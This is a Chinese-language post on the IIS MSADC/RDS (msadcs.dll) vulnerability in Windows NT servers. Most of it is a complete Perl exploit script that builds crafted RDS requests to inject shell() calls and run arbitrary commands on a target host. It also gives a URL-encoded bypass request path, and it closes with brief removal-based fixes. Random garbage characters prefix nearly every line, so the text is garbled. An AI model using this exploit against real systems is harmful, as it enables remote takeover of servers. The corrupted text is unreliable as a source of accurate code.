IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#dKy{Q3he /ej[oR 涉及程序：
NVghkd Microsoft NT server
CY*o"@-o5) -)Bvx>8fq- 描述：
iO&* WIbg 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#i . ,+Q ,PmUl= 详细：
Nc &J%a 如果你没有时间读详细内容的话，就删除:
(H5#r2h%Y c:\Program Files\Common Files\System\Msadc\msadcs.dll
,{mv6?_ 有关的安全问题就没有了。
m}u)C&2> q}+zN eC 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%ufh "={* 0P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]J [d8S5 关于利用ODBC远程漏洞的描述，请参看:
S)g:+P 81"` B2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Pz34a@%" _Dd>e=v 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#|4 G,! http://www.microsoft.com/security/bulletins/MS99-025faq.asp =\_gT=tZ jz`3xFy *] 这里不再论述。
7Q]c=i cg `LNh amp 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
iGSA$U P| Y/6>OD /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
gROK4'j6y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0 ^R, d M WQ 2{ `'z % YK xdp #将下面这段保存为txt文件，然后: "perl -x 文件名"
4e/!BGkAS d&CpaOSu #!perl
[zBi*%5O #
' B{FRK # MSADC/RDS 'usage' (aka exploit) script
3:MJKS02OD #
A+!,{G # by rain.forest.puppy
WPkKb F #
2cUT bRm # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I ^m # beta test and find errors!
ax>j3HKi 5wmd[YL use Socket; use Getopt::Std;
#GLW3 } getopts("e:vd:h:XR", \%args);
,%
Qh S5e t[J=8rhER print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
oz>2P.7 M,S'4Sz uk if (!defined $args{h} && !defined $args{R}) {
$%q=tn'EX print qq~
*<W8j[? Usage: msadc.pl -h <host> { -d <delay> -X -v }
S\h5
D2G; -h <host> = host you want to scan (ip or domain)
v+"4YI N -d <seconds> = delay between calls, default 1 second
hO&b\#@~ -X = dump Index Server path table, if available
CxeW5qc -v = verbose
GLyPgZ`| -e = external dictionary file for step 5
bq9w@O tH)j EY9 Or a -R will resume a command session
(bQ3:%nD n jf\f w_ ~; exit;}
C<AW)|r_ &n
)MGg1% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?* yyne if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
n
Syq}Y3 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{@ vnKyf^K if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,bXZ<RY$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
C= V2Y_j if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1Vdi5;dn F'b%D if (!defined $args{R}){ $ret = &has_msadc;
y7 M{L8{0 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
z,4mg6gt ' {UKO7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
] r e=8s6 . "cmd /c ";
E#!!tH`lgg $in=<STDIN>; chomp $in;
_ Lb"yug $command="cmd /c " . $in ;
gr*CN< ;5b d<N if (defined $args{R}) {&load; exit;}
v8 *)^-Fx i-Rn,}v print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6ki2/ Q &try_btcustmr;
@]vY[O!&; EM*I%|n@m print "\nStep 2: Trying to make our own DSN...";
P2a5<#_ | &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nq]6S$3
6 <- !1`@l> print "\nStep 3: Trying known DSNs...";
/O}<e TR &known_dsn;
# G 77q$ UMR ?q0J print "\nStep 4: Trying known .mdbs...";
vUJ; D &known_mdb;
8Rwk
o6x u*G<? if (defined $args{e}){
M&j|5UH%. print "\nStep 5: Trying dictionary of DSN names...";
<mE`<-$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
X n$ZA - R,G*]/r` print "Sorry Charley...maybe next time?\n";
:R,M Y"( exit;
Ha `N nf/?7~3?[ ##############################################################################
b/'c
h Mg.%&vH\ sub sendraw { # ripped and modded from whisker
X+aQ 7^"s sleep($delay); # it's a DoS on the server! At least on mine...
= 'NV3by my ($pstr)=@_;
hr}f5Z)^v socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&7f8\TG| die("Socket problems\n");
_ \6v @ if(connect(S,pack "SnA4x8",2,80,$target)){
&
"&s , select(S); $|=1;
\~l_w
,Poo print $pstr; my @in=<S>;
`SFeln{1B select(STDOUT); close(S);
<ToBVG X return @in;
Lj3o-@\*j } else { die("Can't connect...\n"); }}
h6
{vbYj N v7-6C6< ##############################################################################
}+9?)f{?@ \;)g<TwL sub make_header { # make the HTTP request
k0e}`#t my $msadc=<<EOT
%hsCB
.r>| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
i]%f 94 User-Agent: ACTIVEDATA
e~SK*vR% ] Host: $ip
V ql4*OJW Content-Length: $clen
qT@h/ Y Connection: Keep-Alive
|nZ^RCHog aDK b78 1d ADCClientVersion:01.06
r%? -MGc Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
. ,^WCyvq m!/TJhiQ --!ADM!ROX!YOUR!WORLD!
2bNOn%! Content-Type: application/x-varg
Cf=H~&`Z Content-Length: $reqlen
[i` tp] 5[U EOT
V:kRr cX ; $msadc=~s/\n/\r\n/g;
.J)TIc__|A return $msadc;}
T;/GHC`{Y |#@7$#j ##############################################################################
U = .PL\ 'q-q4 QCB sub make_req { # make the RDS request
z l@^[km{ my ($switch, $p1, $p2)=@_;
2h my $req=""; my $t1, $t2, $query, $dsn;
Mj MDD KGy 3#r;Q if ($switch==1){ # this is the btcustmr.mdb query
G%erh}0~ $query="Select * from Customers where City=" . make_shell();
ep"[; $Eb $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
g#J aw|N $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
35& ^spb h= 7q;-@7 elsif ($switch==2){ # this is general make table query
b_31 \ $query="create table AZZ (B int, C varchar(10))";
qNQ54# $dsn="$p1";}
e^Zm09J );gY8UL^ elsif ($switch==3){ # this is general exploit table query
v|%41xOsr $query="select * from AZZ where C=" . make_shell();
a;HAuy`M x $dsn="$p1";}
1ML L OyZR&,q elsif ($switch==4){ # attempt to hork file info from index server
JN0h3nZ_ $query="select path from scope()";
zuvPV{
X $dsn="Provider=MSIDXS;";}
~= |}!A( e xb}
y elsif ($switch==5){ # bad query
86r"hy~ $query="select";
hC<ROD $dsn="$p1";}
V)^Xz8H_ ,MCTb '= G $t1= make_unicode($query);
q-JTG CFl $t2= make_unicode($dsn);
#d-({blo< $req = "\x02\x00\x03\x00";
OIrm9D # $req.= "\x08\x00" . pack ("S1", length($t1));
RV~fml9c $req.= "\x00\x00" . $t1 ;
|p6d]#z3 $req.= "\x08\x00" . pack ("S1", length($t2));
rwF$aR>9 $req.= "\x00\x00" . $t2 ;
TEC^|U`G $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
c{=Sy;i@ return $req;}
$o[-xNn1 J/je/PC ##############################################################################
&h334N|4{ h Qn?qJy%W sub make_shell { # this makes the shell() statement
rVz.Ws# return "'|shell(\"$command\")|'";}
ED&nrd1 P C ? z S}ob ##############################################################################
kTb$lLG\xk UBaXS_c\ sub make_unicode { # quick little function to convert to unicode
ku]5sd >b my ($in)=@_; my $out;
cc[(w
#K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]Y\$U<YjO return $out;}
.@VZ3" !mNst$-H4 ##############################################################################
24jf`1 XFW ]01`r/ ->\ sub rdo_success { # checks for RDO return success (this is kludge)
0'Pj nk-i my (@in) = @_; my $base=content_start(@in);
VE )D4 RL if($in[$base]=~/multipart\/mixed/){
Unk /uk return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@{y'_fw return 0;}
op6]"ZV -C ] ,]Rv# ` ##############################################################################
^Oz~T|) ?xj 8a3F sub make_dsn { # this makes a DSN for us
>fBPVu\PA my @drives=("c","d","e","f");
OI blBQ! print "\nMaking DSN: ";
Lw >B:3e foreach $drive (@drives) {
[6!k:-t+ print "$drive: ";
}t)+eSUA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Fw<"]*iu "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-b-a2 1,m> . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.zO^"mXjS $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n7!T{+ge return 0 if $2 eq "404"; # not found/doesn't exist
WPNB!" E98 if($2 eq "200") {
M) bQvjj foreach $line (@results) {
cgb>Naa< return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
h.\I
tK{) } return 0;}
Tv ``\< !nBbt?* ##############################################################################
c!Hz'W Bz]tKJ sub verify_exists {
)4g_S ?l= my ($page)=@_;
t<!m4Yd|# my @results=sendraw("GET $page HTTP/1.0\n\n");
,->ihxf return $results[0];}
v
vErzUxN 6Og@tho ##############################################################################
( ?qCtLZ Sy8t2lk sub try_btcustmr {
=3bk=vy my @drives=("c","d","e","f");
;8]HCC@: my @dirs=("winnt","winnt35","winnt351","win","windows");
s%jBIeh EG{+Sz foreach $dir (@dirs) {
n`5Nf print "$dir -> "; # fun status so you can see progress
Wmbc
`XC foreach $drive (@drives) {
w S print "$drive: "; # ditto
q<09]i $reqlen=length( make_req(1,$drive,$dir) ) - 28;
SyL"Bmi $reqlenlen=length( "$reqlen" );
DG TLlBkT
$clen= 206 + $reqlenlen + $reqlen;
cC*WZ] 7P {= Pv+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
6r~9$IM if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
b^W&-Hh else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
IL@y GuO, !:+U- m b* ##############################################################################
,HjJ jpE P
y'BMk sub odbc_error {
Z518J46o my (@in)=@_; my $base;
[+[ W\6 my $base = content_start(@in);
y_WC"
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Oc)n,D)0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ufL,K q4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g#I`P& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zdP?HJ=F return $in[$base+4].$in[$base+5].$in[$base+6];}
e9p/y8gC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
: /5+p>Ep} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
MfQ0O?oBp $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
!@z9n\Yj fk}Raej g ##############################################################################
@fd< [<B,6nAl sub verbose {
@[^ 3y C# my ($in)=@_;
eu(Fhs
return if !$verbose;
]5'*^rz ^ print STDOUT "\n$in\n";}
_c]}m3/ =-dnniKW4 ##############################################################################
DF r$2Y3H Jk .x^ sub save {
amsl>wc! my ($p1, $p2, $p3, $p4)=@_;
11PL1zzH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
D4$b-?y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%<yW(s9{ close OUT;}
r`"_D%kc r'i99 ~ ##############################################################################
Rxy|Ag/I;V &OU.BR > sub load {
rVabkwYD my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%jAc8~vW? open(IN,"<rds.save") || die("Couldn't open rds.save\n");
U#f* @p=<IN>; close(IN);
Zl5DlRuw $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
L`t786
(M $target= inet_aton($ip) || die("inet_aton problems");
)QAYjW!Z print "Resuming to $ip ...";
lr&2,p< $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
AG >D,6Y if($p[1]==1) {
tN{0C/B9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
X0*+]tRg $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ca=MUm=B my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
. r/s.g if (rdo_success(@results)){print "Success!\n";}
]Jz=. F sO else { print "failed\n"; verbose(odbc_error(@results));}}
`
k]
TOc elsif ($p[1]==3){
&tOo[U? if(run_query("$p[3]")){
yK{ P%oh) print "Success!\n";} else { print "failed\n"; }}
RlfI]uCDM elsif ($p[1]==4){
X}[1Y3~y if(run_query($drvst . "$p[3]")){
ZPf&4#| print "Success!\n"; } else { print "failed\n"; }}
<@7j37,R7V exit;}
CX#d !d##q)D
f? ##############################################################################
B~o3Z ^ iu)vED sub create_table {
8z93ETv7` my ($in)=@_;
q`AsnAzo& $reqlen=length( make_req(2,$in,"") ) - 28;
$;g*s?F* $reqlenlen=length( "$reqlen" );
yc0
1\o $clen= 206 + $reqlenlen + $reqlen;
d^'_H>x my @results=sendraw(make_header() . make_req(2,$in,""));
-Ua 5anzB return 1 if rdo_success(@results);
WDNj 7 my $temp= odbc_error(@results); verbose($temp);
f TmJDUv+ return 1 if $temp=~/Table 'AZZ' already exists/;
r%: :q^b3 return 0;}
Xp;'Wa"@ T:j41`g%s ##############################################################################
i(A `'V8GY |TJ gH<I sub known_dsn {
[?z;'O}y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
T #E {d my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
hbXm Ist "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&'\-M6GW "banner", "banners", "ads", "ADCDemo", "ADCTest");
n_sV>$f-u aR6~r^jB foreach $dSn (@dsns) {
2 zo>`;l print ".";
c%< 81Y= next if (!is_access("DSN=$dSn"));
PR;Bxy if(create_table("DSN=$dSn")){
''2:ZX X print "$dSn successful\n";
6@Q; LV+ if(run_query("DSN=$dSn")){
zRh)q,Dt print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$zz4A~
print "Something's borked. Use verbose next time\n";}}} print "\n";}
`DSDu Jw% 319 4] ##############################################################################
QP%AJ[3ea% .9DhD=8aIO sub is_access {
P'}EZ' my ($in)=@_;
JNU9RxR $reqlen=length( make_req(5,$in,"") ) - 28;
8f,",NCgc $reqlenlen=length( "$reqlen" );
y Jx,4be $clen= 206 + $reqlenlen + $reqlen;
%5ov!nm7 my @results=sendraw(make_header() . make_req(5,$in,""));
QKk7"2t| my $temp= odbc_error(@results);
,9OER! $y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w_@6!zm return 0;}
:4:U\k;QwA M!G/5:VZ ##############################################################################
*"|f!t 0>Kgz!I sub run_query {
~Q- /O~ my ($in)=@_;
TGpdl`k\T $reqlen=length( make_req(3,$in,"") ) - 28;
=)#XZ[#F $reqlenlen=length( "$reqlen" );
TPJuS)TU9 $clen= 206 + $reqlenlen + $reqlen;
uxW |&q my @results=sendraw(make_header() . make_req(3,$in,""));
7WV"Wr l] return 1 if rdo_success(@results);
%i&am= my $temp= odbc_error(@results); verbose($temp);
sVO|Ghy65 return 0;}
+MS*YpPW e{:
-N ##############################################################################
|r*y63\T $7-4pW$ y sub known_mdb {
Ow 0~sFz my @drives=("c","d","e","f","g");
T+V:vuK my @dirs=("winnt","winnt35","winnt351","win","windows");
D<Z\6)|%I my $dir, $drive, $mdb;
Lxa<zy~b my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RG1#\d-fE sI)jqHZG # this is sparse, because I don't know of many
#;2kN
& my @sysmdbs=( "\\catroot\\icatalog.mdb",
]<},[s "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
7CT446 "\\system32\\certmdb.mdb",
.j!:Hp(z} "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
gd)VL}k 5"#xbvRS0H my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
j97 c@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
H8c -/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|$T?P*pI. "\\cfusion\\cfapps\\security\\realm_.mdb",
f]+.
i-c= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
q|.0Ja "\\cfusion\\database\\cfexamples.mdb",
@M*5q# s "\\cfusion\\database\\cfsnippets.mdb",
ud (w0eX "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
en MHK N g "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Zf)< )o* "\\cfusion\\brighttiger\\database\\cleam.mdb",
<.|]%7 "\\cfusion\\database\\smpolicy.mdb",
-P]onD
"\\cfusion\\database\cypress.mdb",
O|;|7fCB\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
6%VRQ#g! "\\website\\cgi-win\\dbsample.mdb",
]xJ2;{JWsO "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
J@N q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
K>+c2;t; ); #these are just
"j q F foreach $drive (@drives) {
&>@EfW]( foreach $dir (@dirs){
m] ++
! foreach $mdb (@sysmdbs) {
Xp^71A? > print ".";
btf]~YN if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9@(V!G print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#1>c)_ H if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
?cr^.LV|h^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
xqVIw!J?/} } else { print "Something's borked. Use verbose next time\n"; }}}}}
U,9=&"e b Jpe\ foreach $drive (@drives) {
ECOz quvM foreach $mdb (@mdbs) {
4!+ IsT print ".";
v~O2y>8Z if(create_table($drv . $drive . $dir . $mdb)){
oFJx8XU print "\n" . $drive . $dir . $mdb . " successful\n";
%tz foiJ%P if(run_query($drv . $drive . $dir . $mdb)){
orF 8% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kEdAt5/U{ } else { print "Something's borked. Use verbose next time\n"; }}}}
62OZj%CXN }
&ZP yZj |A
u+^#:; ##############################################################################
j|WN!!7 2K(zYv54 sub hork_idx {
K30{Fcb< h print "\nAttempting to dump Index Server tables...\n";
1`&"U[{ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ADZU?7) $reqlen=length( make_req(4,"","") ) - 28;
w#$Q?u ,G $reqlenlen=length( "$reqlen" );
JLxAk14lc $clen= 206 + $reqlenlen + $reqlen;
cCy*?P@ my @results=sendraw2(make_header() . make_req(4,"",""));
XgZ.U T if (rdo_success(@results)){
9&KiG* . my $max=@results; my $c; my %d;
h1N{;SWQ for($c=19; $c<$max; $c++){
SxRa?5 $results[$c]=~s/\x00//g;
>]8H@. \ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*+cW)klm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
&14Er,K $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%,5_]bGvb
$d{"$1$2"}="";}
xCiq;FFR foreach $c (keys %d){ print "$c\n"; }
[lAZ)6E~= } else {print "Index server doesn't seem to be installed.\n"; }}
4}HY= 0Um v+`gQXJ"G ##############################################################################
.37Jrh0Iv zC\L-i>G sub dsn_dict {
!.5,RIf open(IN, "<$args{e}") || die("Can't open external dictionary\n");
F| O while(<IN>){
I.}E#f/A' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
eN ]9=Y~-K next if (!is_access("DSN=$dSn"));
LZ*ZXFIg if(create_table("DSN=$dSn")){
64-;| k4F print "$dSn successful\n";
p# (5
; if(run_query("DSN=$dSn")){
nJo6 ;_MI! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ut^ {4_EC print "Something's borked. Use verbose next time\n";}}}
V> @+&q print "\n"; close(IN);}
HO
=\ 0=K yupwXC ##############################################################################
t=(CCq_N, 5 XA{<)$ sub sendraw2 { # ripped and modded from whisker
z0-`D.D@\ sleep($delay); # it's a DoS on the server! At least on mine...
+/~;y{G..z my ($pstr)=@_;
]PjJy/vkjj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Bgj^n{9x die("Socket problems\n");
>FM2T<.; if(connect(S,pack "SnA4x8",2,80,$target)){
; V\l,
u print "Connected. Getting data";
s8 0$ open(OUT,">raw.out"); my @in;
":N
E I select(S); $|=1; print $pstr;
uz;z+Bd^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<2{-ey] close(OUT); select(STDOUT); close(S); return @in;
<2> Qr(b b } else { die("Can't connect...\n"); }}
BO)Q$*G~JD ify}xv ##############################################################################
Mu]1e5^] `Kq4z62V sub content_start { # this will take in the server headers
i"o
%Gc my (@in)=@_; my $c;
&yw U^hBh for ($c=1;$c<500;$c++) {
)> |x 2q if($in[$c] =~/^\x0d\x0a/){
j UCrj' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
u' +;/8 else { return $c+1; }}}
6#/v:;bF return -1;} # it should never get here actually
f+ Ht E;AOCbV*$ ##############################################################################
JQ)w/@Vu= ;4ETqi9 sub funky {
m<u BRI*I my (@in)=@_; my $error=odbc_error(@in);
bs=x>F if($error=~/ADO could not find the specified provider/){
pw5uH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%ryYa exit;}
YRm6~c if($error=~/A Handler is required/){
E1-B B print "\nServer has custom handler filters (they most likely are patched)\n";
m3i+b exit;}
7$u}uv`j if($error=~/specified Handler has denied Access/){
i917d@r( < print "\nServer has custom handler filters (they most likely are patched)\n";
zBTyRL
l exit;}}
I[v6Y^{q % ^ CoWbU ##############################################################################
-'mTSJ.} I8:A] sub has_msadc {
ruQ1Cph my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
U sS"WflB my $base=content_start(@results);
HJeZm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
eQqx0+-0c return 0;}
TcM;6h` zLda&#+ ########################
+ =N#6 # 1 DYF fq sV`!4
u7%} 解决方案：
S)$iHBx{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
E\Et,l#|LY 2、移除web 目录: /msadc
